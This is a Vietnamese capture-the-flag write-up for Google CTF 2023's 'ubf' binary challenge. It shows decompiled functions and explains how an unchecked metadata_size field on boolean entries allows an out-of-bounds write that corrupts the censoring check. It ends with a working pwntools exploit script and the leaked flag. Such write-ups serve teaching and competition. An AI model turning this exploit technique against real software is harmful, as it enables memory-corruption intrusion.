ubf
Vulnerability: Chương trình tin rằng trường metadata_size trong header kiểu bool không có ý nghĩa, nên bỏ qua mọi kiểm tra. Nhưng thực tế, field đó vẫn được sử dụng, sai với ý định ban đầu, attacker lợi dụng điều này thực hiện ghi out-of-bound.
Recon
Mitigation
$ pwn checksec ubf
[*] '/home/hungnt/ctfs/google-ctf/2023/quals/pwn/pwn-ubf/challenge/ubf'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled$ file ubf
ubf: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=67d27e2e52838ebf2017b257f12ca28baa60e410, for GNU/Linux 3.2.0, not strippedCode
Nhờ Claude mình có 2 struct như sau:
00000000 Header struc ; (sizeof=0x9, mappedto_10)
00000000 buf_size dd ?
00000004 type db ?
00000005 count dw ?
00000007 metadata_size dw ?
00000009 Header ends00000000 Entry struc ; (sizeof=0x1D, mappedto_11)
00000000 next dq ? ; offset
00000008 type db ?
00000009 count dd ?
0000000D metadata_size dd ?
00000011 buf_size dd ?
00000015 buf dq ?
0000001D Entry endsmain()
int __fastcall main(int argc, const char **argv, const char **envp)
{
int len; // [rsp+1Ch] [rbp-14h] BYREF
char *decoded; // [rsp+20h] [rbp-10h]
char *s; // [rsp+28h] [rbp-8h]
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
signal(14, alarm_handler);
alarm(0x3Cu);
if ( !(unsigned int)set_env_from_file("FLAG", "/flag")
|| !(unsigned int)set_env_from_file("MOTD", "/motd")
|| !(unsigned int)set_env_from_file("TEAM", "/team") )
{
return -1;
}
len = 0;
decoded = read_blob_b64(&len); // return decoded string and its length
if ( decoded || len > 0 )
{
s = unpack(decoded, len);
if ( !s )
s = errorstr;
puts(s);
return 0;
}
else
{
puts("Invalid data provided");
return -1;
}
}unpack()
char *__fastcall unpack(char *decoded, int len)
{
int type; // eax
Entry *next_entry; // [rsp+10h] [rbp-40h] BYREF
Entry *head; // [rsp+18h] [rbp-38h] BYREF
void *v6; // [rsp+20h] [rbp-30h]
__int64 end; // [rsp+28h] [rbp-28h]
char *buf; // [rsp+30h] [rbp-20h]
Entry *cur_entry; // [rsp+38h] [rbp-18h]
Entry *cur_entry_; // [rsp+40h] [rbp-10h]
Header *cur_header; // [rsp+48h] [rbp-8h]
cur_header = (Header *)decoded;
end = (__int64)&decoded[len];
head = 0LL;
cur_entry_ = (Entry *)&head;
do
{
if ( end < (unsigned __int64)&cur_header[1] || cur_header->count < 0 || cur_header->buf_size < 0 )
{
errorstr = "Invalid header";
return 0LL;
}
next_entry = 0LL;
cur_header = unpack_entry(cur_header, end, &next_entry);
if ( !cur_header )
return 0LL;
cur_entry_->next = next_entry;
cur_entry_ = next_entry;
}
while ( (unsigned __int64)cur_header < end );
cur_entry = head;
buf = tmp_string;
v6 = &unk_250BF;
while ( cur_entry )
{
type = cur_entry->type;
if ( type == 's' )
{
buf = strs_tostr((__int64)cur_entry, buf, end);
}
else if ( type <= 's' )
{
if ( type == 'b' )
{
buf = (char *)bools_tostr(cur_entry, buf, v6);
}
else if ( type == 'i' )
{
buf = ints_tostr((__int64)cur_entry, buf, end);
}
}
if ( !buf )
{
errorstr = "Memory failure";
return 0LL;
}
cur_entry = cur_entry->next;
}
*buf = 0;
return tmp_string;
}Về cơ bản, mình cần phải input một chuỗi các header + data liền sau, chương trình sẽ parse thành các entry và in ra nội dung của chúng.
Mỗi header tương ứng với 1 type, có thể chứa nhiều phần tử của type đó.
expand_string()
int *__fastcall expand_string(const char *string_data, int len, const char **new_string_data, int *new_len)
{
int v4; // eax
int v5; // edx
int *result; // rax
const char *s; // [rsp+28h] [rbp-8h]
if ( len > 1
&& *string_data == '$'
&& (memcpy(tmp_string, string_data + 1, len - 1), tmp_string[len - 1] = 0, (s = getenv(tmp_string)) != 0LL) )
{
v4 = strlen(s);
*new_string_data = s;
v5 = 0xFFFF;
if ( v4 <= 0xFFFF )
v5 = v4;
result = new_len;
*new_len = v5;
}
else
{
*new_string_data = string_data;
result = new_len;
*new_len = len;
}
return result;
}Từ main() -> unpack() -> unpack_entry() -> unpack_strings() -> expand_string(), ở đây nếu như mình nhập một chuỗi là $FLAG, chương trình sẽ lấy từ env var đã được set ở hàm main().
Tuy nhiên khi xây dựng chuỗi output hoàn chỉnh ở strs_tostr(), hàm censor_string() được gọi:
void *__fastcall censor_string(unsigned __int8 *string_data, int len)
{
void *result; // rax
if ( len > 5 )
{
result = (void *)*string_data;
if ( (_BYTE)result == 'C' )
{
result = (void *)string_data[1];
if ( (_BYTE)result == 'T' )
{
result = (void *)string_data[2];
if ( (_BYTE)result == 'F' )
{
result = (void *)string_data[3];
if ( (_BYTE)result == '{' )
return memset(string_data + 4, 'X', len - 5);
}
}
}
}
return result;
}Khiến cho flag bị in ra là CTF{XX…XX}.
Để ý rằng, trường metadata_size chỉ sử dụng cho type là strings, nên nó ko có ý nghĩa với int và bool, nên sẽ ko được check. Ở hàm fix_corrupt_booleans(), việc tính toán lại phụ thuộc vào metadata_size mà ko được check:
fix_corrupt_booleans()
unsigned __int64 __fastcall fix_corrupt_booleans(Entry *entry)
{
unsigned __int64 result; // rax
unsigned __int64 buf_end; // [rsp+10h] [rbp-18h]
__int64 buf; // [rsp+18h] [rbp-10h]
int i; // [rsp+24h] [rbp-4h]
buf = entry->buf + (int)entry->metadata_size; // metadata_size should be 0
buf_end = entry->buf + (int)entry->buf_size;
for ( i = 0; ; ++i )
{
result = (unsigned int)entry->count;
if ( i >= (int)result )
break;
result = i + buf;
if ( result >= buf_end )
break;
*(_BYTE *)(i + buf) = *(_BYTE *)(i + buf) != 0;
}
return result;
}Vậy nếu metadata_size được nhập bất kỳ, có thể thực hiện OOB write ra ngoài entry.
Solve
Vậy ý tưởng đó là OOB ghi đè vào 1 trong 3 ký tự CTF, từ đó mình có thể bypass hàm censor_string() lấy đc flag.
Script
#!/usr/bin/env python3
from pwn import *
sl = lambda p, x: p.sendline(x)
ru = lambda p, x: p.recvuntil(x)
exe = ELF("ubf_patched", checksec=False)
context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
breakrva 0x180b
set follow-fork-mode parent
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
sleep(0.1)
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
sleep(0.5)
return p
else:
host = "localhost"
port = 1337
return remote(host, port)
p = conn()
# String entry
data = b''
data += p32(0x80)
data += b's'
data += p16(1)
data += p16(2)
data += p16(5)
data += b'$FLAG'
# Bool entry
data += p32(0x20)
data += b'b'
data += p16(1)
data += b'\x42\xff' # OOB
data += b'\x01'
sl(p, base64.b64encode(data))
ru(p, b'TF')
print(f"Flag: CTF{ru(p, b'}').decode()}")$ py solve.py LOCAL
[+] Starting local process '/home/hungnt/ctfs/google-ctf/2023/quals/pwn/pwn-ubf/challenge/ubf_patched': pid 342521
Flag: CTF{Respl3nd4nt-C0nd1tion@l-El3ments}
[*] Process '/home/hungnt/ctfs/google-ctf/2023/quals/pwn/pwn-ubf/challenge/ubf_patched' stopped with exit code 0 (pid 342521)